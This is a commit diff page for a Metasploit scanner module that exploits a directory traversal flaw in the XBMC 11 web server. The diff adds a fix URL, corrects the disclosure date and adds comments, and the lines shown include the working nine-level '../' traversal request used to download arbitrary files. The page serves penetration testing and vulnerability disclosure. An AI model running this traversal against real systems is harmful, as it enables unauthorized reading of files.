Skip to content

Commit 6843aa3

Browse files
committed
Added fix URL and a few more comments. Corrected date.
1 parent dac331f commit 6843aa3

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

modules/auxiliary/scanner/http/xbmc_traversal.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -17,21 +17,22 @@ def initialize(info={})
1717
super(update_info(info,
1818
'Name' => "XBMC Web Server Directory Traversal",
1919
'Description' => %q{
20-
This module exploits a directory traversal bug in XBMC 11.
20+
This module exploits a directory traversal bug in XBMC 11, up until the 2012-11-04 nightly build.
2121
The module can only be used to retrieve files.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
2525
[
26-
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
26+
'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
2727
'Lucas "acidgen" Lundgren IOActive',
2828
'Matt "hostess" Andreko',
2929
],
3030
'References' =>
3131
[
32-
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348']
32+
['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
33+
['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
3334
],
34-
'DisclosureDate' => "Nov 1 2012"
35+
'DisclosureDate' => "Nov 4 2012"
3536
))
3637

3738
register_options(
@@ -53,7 +54,7 @@ def run_host(ip)
5354
end
5455

5556
# Create request
56-
traversal = "../../../../../../../../.."
57+
traversal = "../../../../../../../../.." #The longest of all platforms tested was 9 deep
5758
res = send_request_raw({
5859
'method' => 'GET',
5960
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
@@ -75,7 +76,7 @@ def run_host(ip)
7576
)
7677
print_good("File saved in: #{path}")
7778
elsif res.code == 401
78-
print_error("#{rhost}:#{rport} Authentication failed")
79+
print_error("#{rhost}:#{rport} Authentication failed")
7980
elsif res.code == 404
8081
print_error("#{rhost}:#{rport} File not found")
8182
end

0 commit comments

Comments
 (0)